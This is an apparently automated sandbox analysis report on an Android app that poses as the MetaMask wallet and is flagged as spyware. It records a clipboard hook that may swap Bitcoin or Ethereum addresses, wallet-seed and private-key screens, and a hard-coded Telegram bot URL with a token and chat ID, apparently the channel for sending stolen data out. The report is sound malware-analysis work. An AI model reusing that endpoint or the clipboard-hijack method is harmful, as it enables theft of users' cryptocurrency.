Loading ...

Analysis Report 5CGxsq2GV1

Overview

General Information

Joe Sandbox Version:25.0.0 Tiger's Eye
Analysis ID:785741
Start date:12.02.2019
Start time:14:28:28
Joe Sandbox Product:Cloud
Overall analysis duration:0h 6m 2s
Hypervisor based Inspection enabled:false
Report type:full
Sample file name:5CGxsq2GV1
Cookbook file name:defaultandroidfilecookbook.jbs
Analysis system description:Android 7.1 Nougat
APK Instrumentation enabled:true
Detection:MAL
Classification:mal52.spyw.and@0/251@1/0
Warnings:
Show All
  • Not all executed log events are in report (maximum 10 identical API calls)
  • Not all resource files were parsed
  • Report size exceeded maximum capacity and may have missing disassembly code.
  • Report size exceeded maximum capacity and may have missing dynamic data code.

Detection

StrategyScoreRangeReportingWhitelistedDetection
Threshold520 - 100Report FP / FNfalsemalicious

Confidence

StrategyScoreRangeFurther Analysis Required?Confidence
Threshold50 - 5false
ConfidenceConfidence


Classification

Mitre Att&ck Matrix

Signature Overview

Click to jump to signature section


AV Detection:

barindex
Multi AV Scanner detection for submitted fileShow sources
Source: 5CGxsq2GV1virustotal: Detection: 23%Perma Link

Spreading:

barindex
Accesses external storage locationShow sources
Source: com.lemon.metamask.Util.ClipboardMonitorService;->isExternalStorageWritable:8API Call: android.os.Environment.getExternalStorageState

Networking:

barindex
Checks an internet connection is availableShow sources
Source: com.lemon.metamask.Util.Method;->isNetworkAvailable:24API Call: android.net.ConnectivityManager.getActiveNetworkInfo
Source: com.lemon.metamask.Util.Method;->isNetworkAvailable:25API Call: android.net.NetworkInfo.isConnected
Connects to IPs without corresponding DNS lookupsShow sources
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.202
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.196
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.196
Source: unknownTCP traffic detected without corresponding DNS query: 172.217.18.227
Source: unknownTCP traffic detected without corresponding DNS query: 216.58.201.196
Opens an internet connectionShow sources
Source: cz.msebera.android.httpclient.conn.ssl.SSLSocketFactory;->connectSocket:104API Call: cz.msebera.android.httpclient.HttpHost.getHostName
Source: cz.msebera.android.httpclient.conn.ssl.SSLSocketFactory;->connectSocket:104API Call: java.net.Socket.connect("api.telegram.org:443")
Source: cz.msebera.android.httpclient.conn.MultihomePlainSocketFactory;->connectSocket:21API Call: java.net.Socket.connect (not executed)
Source: cz.msebera.android.httpclient.impl.pool.BasicConnFactory;->create:53API Call: java.net.Socket.connect (not executed)
Source: cz.msebera.android.httpclient.conn.scheme.PlainSocketFactory;->connectSocket:22API Call: java.net.Socket.connect (not executed)
Source: cz.msebera.android.httpclient.conn.socket.PlainConnectionSocketFactory;->connectSocket:6API Call: java.net.Socket.connect (not executed)
Source: cz.msebera.android.httpclient.conn.ssl.SSLConnectionSocketFactory;->connectSocket:45API Call: java.net.Socket.connect (not executed)
Performs DNS lookups (Java API)Show sources
Source: cz.msebera.android.httpclient.impl.conn.SystemDefaultDnsResolver;->resolve:3API Call: java.net.InetAddress.getAllByName (URL: "api.telegram.org")
Source: cz.msebera.android.httpclient.conn.ssl.SSLSocketFactory;->connectSocket:115API Call: java.net.InetAddress.getByName (URL: "api.telegram.org")
Source: cz.msebera.android.httpclient.conn.MultihomePlainSocketFactory;->connectSocket:12API Call: java.net.InetAddress.getAllByName (not executed)
Source: cz.msebera.android.httpclient.conn.scheme.PlainSocketFactory;->connectSocket:8API Call: java.net.InetAddress.getByName (not executed)
Source: cz.msebera.android.httpclient.conn.scheme.SocketFactoryAdaptor;->connectSocket:3API Call: java.net.InetAddress.getByName (not executed)
Source: cz.msebera.android.httpclient.conn.ssl.AbstractVerifier;->normaliseIPv6Address:59API Call: java.net.InetAddress.getByName (not executed)
Performs DNS lookupsShow sources
Source: unknownDNS traffic detected: queries for: api.telegram.org
Urls found in memory or binary dataShow sources
Source: activity_restore.xml, abc_select_dialog_material.xmlString found in binary or memory: http://schemas.android.com/apk/res-auto
Source: activity_restore.xml, select_dialog_multichoice_material.xml, notification_action_background.xml, abc_screen_simple.xml, abc_search_view.xml, abc_ratingbar_small_material.xml, abc_action_menu_item_layout.xml, abc_alert_dialog_title_material.xml, abc_screen_simple_overlay_action_mode.xml, abc_alert_dialog_button_bar_material.xml, abc_select_dialog_material.xml, abc_slide_out_bottom.xml, abc_popup_menu_item_layout.xml, abc_expanded_menu_layout.xml, abc_ic_arrow_drop_right_black_24dp.xml, abc_seekbar_track_material.xmlString found in binary or memory: http://schemas.android.com/apk/res/android
Source: androidString found in binary or memory: https://api.telegram.org/bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050
Uses HTTPSShow sources
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49830
Source: unknownNetwork traffic detected: HTTP traffic on port 49818 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 54534 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 54540 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54534
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 35794
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 54540
Source: unknownNetwork traffic detected: HTTP traffic on port 49826 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49830 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49818
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49826
Source: unknownNetwork traffic detected: HTTP traffic on port 35794 -> 443

System Summary:

barindex
Requests potentially dangerous permissionsShow sources
Source: submitted apkRequest permission: android.permission.INTERNET
Source: submitted apkRequest permission: android.permission.WRITE_EXTERNAL_STORAGE
Classification labelShow sources
Source: classification engineClassification label: mal52.spyw.and@0/251@1/0
Reads shares settingsShow sources
Source: com.lemon.metamask.Activity.MainActivity;->onResume:23API Call: android.content.SharedPreferences.getBoolean
Source: com.loopj.android.http.PersistentCookieStore;-><init>:7API Call: android.content.SharedPreferences.getString
Source: com.loopj.android.http.PersistentCookieStore;-><init>:16API Call: android.content.SharedPreferences.getString

Data Obfuscation:

barindex
Uses reflectionShow sources
Source: unknownAPI Call: Real call: public void android.view.ViewGroup.makeOptionalFitsSystemWindows()
Source: cz.msebera.android.httpclient.impl.client.CloseableHttpResponseProxy;->newProxy:8API Call: Real call: java.lang.reflect.Method@9c55ddb
Source: cz.msebera.android.httpclient.impl.client.CloseableHttpResponseProxy;->invoke:20API Call: Real call: public abstract cz.msebera.android.httpclient.StatusLine cz.msebera.android.httpclient.HttpResponse.getStatusLine()
Source: cz.msebera.android.httpclient.impl.client.CloseableHttpResponseProxy;->invoke:20API Call: Real call: public abstract cz.msebera.android.httpclient.HttpEntity cz.msebera.android.httpclient.HttpResponse.getEntity()
Source: com.loopj.android.http.AsyncHttpClient;->endEntityViaReflection:55API Call: Real call: protected cz.msebera.android.httpclient.HttpEntity cz.msebera.android.httpclient.entity.HttpEntityWrapper.wrappedEntity
Source: cz.msebera.android.httpclient.impl.client.CloseableHttpResponseProxy;->invoke:20API Call: Real call: public abstract cz.msebera.android.httpclient.Header[] cz.msebera.android.httpclient.HttpMessage.getAllHeaders()
Source: unknownAPI Call: Real call: public void android.view.ViewGroup.makeOptionalFitsSystemWindows()
Source: cz.msebera.android.httpclient.impl.client.cache.ResponseProxyHandler;->invoke:12API Call: java.lang.reflect.Method.invoke
Source: cz.msebera.android.httpclient.extras.PRNGFixes;->applyOpenSSLFix:11API Call: java.lang.reflect.Method.invoke
Source: cz.msebera.android.httpclient.extras.PRNGFixes;->applyOpenSSLFix:19API Call: java.lang.reflect.Method.invoke
Source: cz.msebera.android.httpclient.extras.PRNGFixes;->getDeviceSerialNumber:57API Call: java.lang.reflect.Field.get
Source: cz.msebera.android.httpclient.util.ExceptionUtils;->initCause:7API Call: java.lang.reflect.Method.invoke
Source: cz.msebera.android.httpclient.client.utils.CloneUtils;->cloneObject:6API Call: java.lang.reflect.Method.invoke
Source: cz.msebera.android.httpclient.client.utils.JdkIdn;->toUnicode:11API Call: java.lang.reflect.Method.invoke

Persistence and Installation Behavior:

barindex
Creates filesShow sources
Source: com.lemon.metamask.Util.ClipboardMonitorService$WriteHistoryRunnable;->run:17API Call: java.io.FileWriter.<init>

Hooking and other Techniques for Hiding and Protection:

barindex
Uses Crypto APIsShow sources
Source: cz.msebera.android.httpclient.impl.auth.DigestScheme;->createDigestHeader:68API Call: java.security.MessageDigest.digest
Source: cz.msebera.android.httpclient.impl.auth.DigestScheme;->createDigestHeader:87API Call: java.security.MessageDigest.digest
Source: cz.msebera.android.httpclient.impl.auth.DigestScheme;->createDigestHeader:126API Call: java.security.MessageDigest.digest
Source: cz.msebera.android.httpclient.impl.auth.DigestScheme;->createDigestHeader:152API Call: java.security.MessageDigest.digest
Source: cz.msebera.android.httpclient.impl.auth.DigestScheme;->createMessageDigest:222API Call: java.security.MessageDigest.getInstance
Source: cz.msebera.android.httpclient.impl.auth.HttpEntityDigester;->close:5API Call: java.security.MessageDigest.digest
Source: cz.msebera.android.httpclient.impl.auth.HttpEntityDigester;->write:9API Call: java.security.MessageDigest.update
Source: cz.msebera.android.httpclient.impl.auth.HttpEntityDigester;->write:13API Call: java.security.MessageDigest.update
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$CipherGen;->getLanManagerSessionKey:54API Call: javax.crypto.Cipher.getInstance
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$CipherGen;->getLanManagerSessionKey:55API Call: javax.crypto.Cipher.init
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$CipherGen;->getLanManagerSessionKey:56API Call: javax.crypto.Cipher.doFinal
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$CipherGen;->getLanManagerSessionKey:58API Call: javax.crypto.Cipher.getInstance
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$CipherGen;->getLanManagerSessionKey:59API Call: javax.crypto.Cipher.init
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$CipherGen;->getLanManagerSessionKey:60API Call: javax.crypto.Cipher.doFinal
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$HMACMD5;-><init>:3API Call: java.security.MessageDigest.getInstance
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$HMACMD5;-><init>:5API Call: java.security.MessageDigest.update
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$HMACMD5;-><init>:7API Call: java.security.MessageDigest.digest
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$HMACMD5;-><init>:16API Call: java.security.MessageDigest.update
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$HMACMD5;->getOutput:25API Call: java.security.MessageDigest.digest
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$HMACMD5;->getOutput:28API Call: java.security.MessageDigest.update
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$HMACMD5;->getOutput:30API Call: java.security.MessageDigest.digest
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$HMACMD5;->update:32API Call: java.security.MessageDigest.update
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl$HMACMD5;->update:34API Call: java.security.MessageDigest.update
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->RC4:12API Call: javax.crypto.Cipher.getInstance
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->RC4:15API Call: javax.crypto.Cipher.init
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->RC4:16API Call: javax.crypto.Cipher.doFinal
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->lmHash:63API Call: javax.crypto.Cipher.getInstance
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->lmHash:64API Call: javax.crypto.Cipher.init
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->lmHash:65API Call: javax.crypto.Cipher.doFinal
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->lmHash:66API Call: javax.crypto.Cipher.init
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->lmHash:67API Call: javax.crypto.Cipher.doFinal
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->lmResponse:77API Call: javax.crypto.Cipher.getInstance
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->lmResponse:78API Call: javax.crypto.Cipher.init
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->lmResponse:79API Call: javax.crypto.Cipher.doFinal
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->lmResponse:80API Call: javax.crypto.Cipher.init
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->lmResponse:81API Call: javax.crypto.Cipher.doFinal
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->lmResponse:82API Call: javax.crypto.Cipher.init
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->lmResponse:83API Call: javax.crypto.Cipher.doFinal
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->ntlm2SessionResponse:127API Call: java.security.MessageDigest.getInstance
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->ntlm2SessionResponse:128API Call: java.security.MessageDigest.update
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->ntlm2SessionResponse:129API Call: java.security.MessageDigest.update
Source: cz.msebera.android.httpclient.impl.auth.NTLMEngineImpl;->ntlm2SessionResponse:130API Call: java.security.MessageDigest.digest

Malware Analysis System Evasion:

barindex
Accesses android OS build fieldsShow sources
Source: com.lemon.metamask.Util.Method;->getDeviceName:11Field Access: android.os.Build.MANUFACTURER
Source: com.lemon.metamask.Util.Method;->getDeviceName:12Field Access: android.os.Build.MODEL
Source: cz.msebera.android.httpclient.extras.PRNGFixes;->getBuildFingerprintAndDeviceSerial:46Field Access: android.os.Build.FINGERPRINT
Source: com.loopj.android.http.LogHandler;->logWithThrowable:12Field Access: android.os.Build$VERSION.SDK
Potential date aware sample foundShow sources
Source: cz.msebera.android.httpclient.impl.client.cache.CacheEntryUpdater;->entryDateHeaderNewerThenResponse:16API Call: java.util.Date.after
Source: cz.msebera.android.httpclient.impl.client.cache.CachedResponseSuitabilityChecker;->lastModifiedValidatorMatches:62API Call: java.util.Date.after
Source: cz.msebera.android.httpclient.impl.client.cache.CachedResponseSuitabilityChecker;->lastModifiedValidatorMatches:63API Call: java.util.Date.after

Stealing of Sensitive Information:

barindex
Potentially replaces Bitcoin or Ethereum addresses via clipboard hookShow sources
Source: Lcom/lemon/metamask/Activity/MainActivity$3;->onPrimaryClipChanged()VMethod string: "btc"
Registers a clipboard change listener (to get access to clipboard data)Show sources
Source: com.lemon.metamask.Activity.MainActivity;->onCreate:19API Call: android.content.ClipboardManager.addPrimaryClipChangedListener
Source: com.lemon.metamask.Activity.MainActivity;->onCreate:19API Call: android.content.ClipboardManager.addPrimaryClipChangedListener
Source: com.lemon.metamask.Util.ClipboardMonitorService;->onCreate:22API Call: android.content.ClipboardManager.addPrimaryClipChangedListener
Source: com.lemon.metamask.Util.ClipboardMonitorService;->onCreate:22API Call: android.content.ClipboardManager.addPrimaryClipChangedListener
Sample Distance (10 = nearest)
10 9 8 7 6 5 4 3 2 1
Samplename Analysis ID SHA256 Similarity

Antivirus Detection

Initial Sample

SourceDetectionScannerLabelLink
5CGxsq2GV123%virustotalBrowse

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Joe Sandbox View / Context

IPs

No context

Domains

MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
api.telegram.orga.docxGet hashmaliciousBrowse
  • 149.154.167.198

ASN

MatchAssociated Sample Name / URLSHA 256DetectionLinkContext
TELEGRAMGBa.docxGet hashmaliciousBrowse
  • 149.154.167.198
tgBmft30zGGet hashmaliciousBrowse
  • 149.154.167.99

JA3 Fingerprints

No context

Dropped Files

No context

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

android-buttoncam-android

Created / dropped Files

No created / dropped files found

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
api.telegram.org149.154.167.220truefalsehigh

URLs from Memory and Binaries

NameSourceMaliciousAntivirus DetectionReputation
http://schemas.android.com/apk/res/androidactivity_restore.xml, select_dialog_multichoice_material.xml, notification_action_background.xml, abc_screen_simple.xml, abc_search_view.xml, abc_ratingbar_small_material.xml, abc_action_menu_item_layout.xml, abc_alert_dialog_title_material.xml, abc_screen_simple_overlay_action_mode.xml, abc_alert_dialog_button_bar_material.xml, abc_select_dialog_material.xml, abc_slide_out_bottom.xml, abc_popup_menu_item_layout.xml, abc_expanded_menu_layout.xml, abc_ic_arrow_drop_right_black_24dp.xml, abc_seekbar_track_material.xmlfalse
    high
    http://schemas.android.com/apk/res-autoactivity_restore.xml, abc_select_dialog_material.xmlfalse
      high
      https://api.telegram.org/bot733454717:AAG5GpAAJ6BDzsP1JbqTfsuRXfPsJ5-Fg2o/sendMessage?chat_id=556050androidfalse
        high

        Contacted IPs

        • No. of IPs < 25%
        • 25% < No. of IPs < 50%
        • 50% < No. of IPs < 75%
        • 75% < No. of IPs

        Public

        IPCountryFlagASNASN NameMalicious
        149.154.167.220United Kingdom
        62041TELEGRAMGBfalse
        216.58.201.202United States
        15169GOOGLE-GoogleIncUSfalse
        172.217.18.227United States
        15169GOOGLE-GoogleIncUSfalse
        216.58.201.196United States
        15169GOOGLE-GoogleIncUSfalse

        Static File Info

        General

        File type:Zip archive data, at least v2.0 to extract
        Entropy (8bit):7.746191282156442
        TrID:
        • Android Package (19004/1) 49.99%
        • Java Archive (13504/1) 35.53%
        • ZIP compressed archive (4004/1) 10.53%
        • Java Script embedded in Visual Basic Script (1500/0) 3.95%
        File name:5CGxsq2GV1
        File size:1666679
        MD5:24d7783aaf34884677a601d487473f88
        SHA1:6755834c9a93ada415c0706a6ee036af327cdd4d
        SHA256:86507924e47908aded888026991cd03959d1c1b171f32c8cc3ce62c4c45374ef
        SHA512:70dd6da0318358d5b04f83b338bbb05e607deb7ace22971b34ff65d1a09b0ef12322d3391e2daf375549dff5c023081b8519b7bd9f657fba7512d1a1b05fd430
        SSDEEP:49152:jaM8AbWeViyAfWnofKBgsUw1KVNOgRRTca4gioXf:jaDAKebiWoQDKfOANXf
        File Content Preview:PK.........<;N.z.L....X.......AndroidManifest.xml.UKOSA....P...C^...[........E.(,LL...-4m..FV..?..q...1..p.......V.9wn.tZb....w..9.9sf..0.X...I...c.~...n"I.'...D.xA.%..?._DH.1"I.!&.g.'"........w.71.......>.........".M|&~.....@.e<.#....!..l..Z.....*.U.x..|

        File Icon

        Static APK Info

        General

        Label:MetaMask
        Minimum SDK required:19
        Target SDK required:27
        Version Code:11
        Version Name:11
        Package Name:com.lemon.metamask
        Is Activity:true
        Is Receiver:false
        Is Service:false
        Requests System Level Permissions:false
        Play Store Compatible:true

        Activities

        NameIs Entrypoint
        com.lemon.metamaskcom.lemon.metamask.Activity.MainActivitytrue
        com.lemon.metamaskcom.lemon.metamask.Activity.CreateActivity
        com.lemon.metamaskcom.lemon.metamask.Activity.WalletSeedActivity
        com.lemon.metamaskcom.lemon.metamask.Activity.RestoreActivity
        com.lemon.metamaskcom.lemon.metamask.Activity.PrivateKeyActivity

        Receivers

        Permission Requested

        • android.permission.ACCESS_NETWORK_STATE
        • android.permission.INTERNET
        • android.permission.WRITE_EXTERNAL_STORAGE

        Certificate

        Name:classes.dex
        Issuer:CN=Android,OU=Android,O=Google Inc.,L=Mountain View,ST=California,C=US
        Subject:CN=Android,OU=Android,O=Google Inc.,L=Mountain View,ST=California,C=US

        Resources

        NameTypeSize
        abc_text_select_handle_right_mtrl_light.pngPNG image data, 176 x 88, 8-bit colormap, non-interlaced513
        abc_btn_switch_to_on_mtrl_00001.9.pngPNG image data, 54 x 54, 8-bit gray+alpha, non-interlaced1526
        abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced253
        activity_restore.xmlAndroid binary XML2944
        abc_ic_menu_selectall_mtrl_alpha.pngPNG image data, 72 x 72, 8-bit gray+alpha, non-interlaced262
        notify_panel_notification_icon_bg.pngPNG image data, 14 x 14, 8-bit/color RGB, non-interlaced107
        notification_bg_normal_pressed.9.pngPNG image data, 8 x 8, 8-bit/color RGB, non-interlaced223
        select_dialog_multichoice_material.xmlAndroid binary XML864
        abc_btn_switch_to_on_mtrl_00012.9.pngPNG image data, 108 x 108, 8-bit gray+alpha, non-interlaced2816
        com.android.support_support-core-ui.versionASCII text7
        abc_ic_clear_material.xmlAndroid binary XML684
        abc_ic_star_half_black_16dp.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced235
        abc_ic_star_black_48dp.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced467
        android.arch.core_runtime.versionASCII text6
        abc_ic_star_half_black_16dp.pngPNG image data, 64 x 64, 8-bit gray+alpha, non-interlaced376
        abc_btn_switch_to_on_mtrl_00012.9.pngPNG image data, 27 x 27, 8-bit gray+alpha, non-interlaced825
        abc_tint_btn_checkable.xmlAndroid binary XML728
        abc_ic_menu_copy_mtrl_am_alpha.pngPNG image data, 96 x 96, 8-bit gray+alpha, non-interlaced325
        abc_ic_star_black_48dp.pngPNG image data, 192 x 192, 8-bit gray+alpha, non-interlaced1680
        abc_textfield_default_mtrl_alpha.9.pngPNG image data, 12 x 11, 8-bit gray+alpha, non-interlaced178
        abc_list_pressed_holo_dark.9.pngPNG image data, 12 x 12, 8-bit gray+alpha, non-interlaced209
        abc_ab_share_pack_mtrl_alpha.9.pngPNG image data, 32 x 32, 8-bit gray+alpha, non-interlaced280
        ic_launcher.pngPNG image data, 192 x 192, 8-bit/color RGBA, non-interlaced13064
        notification_action_background.xmlAndroid binary XML1180
        notification_template_icon_group.xmlAndroid binary XML392
        abc_screen_simple.xmlAndroid binary XML832
        abc_search_view.xmlAndroid binary XML3472
        abc_scrubber_control_to_pressed_mtrl_000.pngPNG image data, 24 x 24, 8-bit gray+alpha, non-interlaced267
        abc_text_select_handle_middle_mtrl_light.pngPNG image data, 30 x 36, 8-bit/color RGBA, non-interlaced396
        abc_scrubber_control_to_pressed_mtrl_000.pngPNG image data, 12 x 12, 8-bit gray+alpha, non-interlaced145
        abc_list_selector_disabled_holo_light.9.pngPNG image data, 21 x 63, 8-bit gray+alpha, non-interlaced229
        abc_tint_btn_checkable.xmlAndroid binary XML624
        abc_popup_menu_header_item_layout.xmlAndroid binary XML848
        abc_btn_switch_to_on_mtrl_00001.9.pngPNG image data, 108 x 108, 8-bit gray+alpha, non-interlaced2505
        abc_ratingbar_small_material.xmlAndroid binary XML704
        notification_bg_low_pressed.9.pngPNG image data, 16 x 16, 8-bit/color RGB, non-interlaced252
        abc_seekbar_thumb_material.xmlAndroid binary XML1100
        abc_scrubber_track_mtrl_alpha.9.pngPNG image data, 20 x 24, 8-bit gray+alpha, non-interlaced198
        abc_btn_switch_to_on_mtrl_00001.9.pngPNG image data, 27 x 27, 8-bit gray+alpha, non-interlaced754
        abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced492
        abc_text_select_handle_middle_mtrl_dark.pngPNG image data, 40 x 48, 8-bit/color RGBA, non-interlaced583
        abc_spinner_mtrl_am_alpha.9.pngPNG image data, 36 x 48, 8-bit gray+alpha, non-interlaced448
        abc_spinner_mtrl_am_alpha.9.pngPNG image data, 72 x 96, 8-bit gray+alpha, non-interlaced430
        abc_list_divider_mtrl_alpha.9.pngPNG image data, 1 x 1, 8-bit grayscale, non-interlaced167
        abc_btn_check_to_on_mtrl_015.pngPNG image data, 64 x 64, 8-bit gray+alpha, non-interlaced432
        abc_tab_indicator_mtrl_alpha.9.pngPNG image data, 12 x 12, 8-bit gray+alpha, non-interlaced186
        abc_edit_text_material.xmlAndroid binary XML1172
        abc_textfield_activated_mtrl_alpha.9.pngPNG image data, 38 x 33, 8-bit gray+alpha, non-interlaced199
        abc_tint_default.xmlAndroid binary XML1224
        notify_panel_notification_icon_bg.pngPNG image data, 15 x 15, 8-bit/color RGB, non-interlaced98
        ic_right_arr.pngPNG image data, 96 x 96, 8-bit/color RGBA, non-interlaced360
        android.arch.lifecycle_livedata-core.versionASCII text6
        abc_ic_star_half_black_16dp.pngPNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced146
        abc_menu_hardkey_panel_mtrl_mult.9.pngPNG image data, 64 x 24, 8-bit gray+alpha, non-interlaced541
        abc_cab_background_top_material.xmlAndroid binary XML336
        abc_popup_background_mtrl_mult.9.pngPNG image data, 96 x 48, 8-bit gray+alpha, non-interlaced1098
        activity_main.xmlAndroid binary XML2692
        resources.arscdata229356
        abc_text_select_handle_right_mtrl_dark.pngPNG image data, 88 x 44, 8-bit/color RGBA, non-interlaced319
        abc_list_selector_disabled_holo_dark.9.pngPNG image data, 13 x 41, 8-bit gray+alpha, non-interlaced217
        abc_action_menu_item_layout.xmlTarga image data - RLE 360 x 65536 x 15 +1 +28 ""768
        abc_ic_menu_cut_mtrl_alpha.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced400
        abc_list_divider_mtrl_alpha.9.pngPNG image data, 2 x 2, 8-bit grayscale, non-interlaced171
        abc_ic_star_black_16dp.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced459
        abc_btn_radio_to_on_mtrl_000.pngPNG image data, 64 x 64, 8-bit gray+alpha, non-interlaced651
        notification_bg_low_normal.9.pngPNG image data, 12 x 12, 8-bit grayscale, non-interlaced212
        abc_action_bar_up_container.xmlAndroid binary XML440
        switch_thumb_material_light.xmlAndroid binary XML464
        notification_bg_low_normal.9.pngPNG image data, 8 x 8, 8-bit grayscale, non-interlaced215
        abc_text_select_handle_right_mtrl_dark.pngPNG image data, 44 x 22, 8-bit/color RGBA, non-interlaced187
        abc_textfield_activated_mtrl_alpha.9.pngPNG image data, 19 x 16, 8-bit gray+alpha, non-interlaced186
        abc_btn_switch_to_on_mtrl_00012.9.pngPNG image data, 81 x 81, 8-bit gray+alpha, non-interlaced2834
        com.android.support_support-core-utils.versionASCII text7
        notification_bg_low_pressed.9.pngPNG image data, 12 x 12, 8-bit/color RGB, non-interlaced225
        abc_ic_star_black_36dp.pngPNG image data, 36 x 36, 8-bit gray+alpha, non-interlaced364
        abc_spinner_mtrl_am_alpha.9.pngPNG image data, 72 x 96, 8-bit gray+alpha, non-interlaced437
        abc_screen_toolbar.xmlAndroid binary XML1560
        abc_text_select_handle_middle_mtrl_light.pngPNG image data, 60 x 72, 8-bit/color RGBA, non-interlaced753
        abc_list_focused_holo.9.pngPNG image data, 9 x 9, 8-bit/color RGBA, non-interlaced244
        abc_scrubber_control_to_pressed_mtrl_000.pngPNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced415
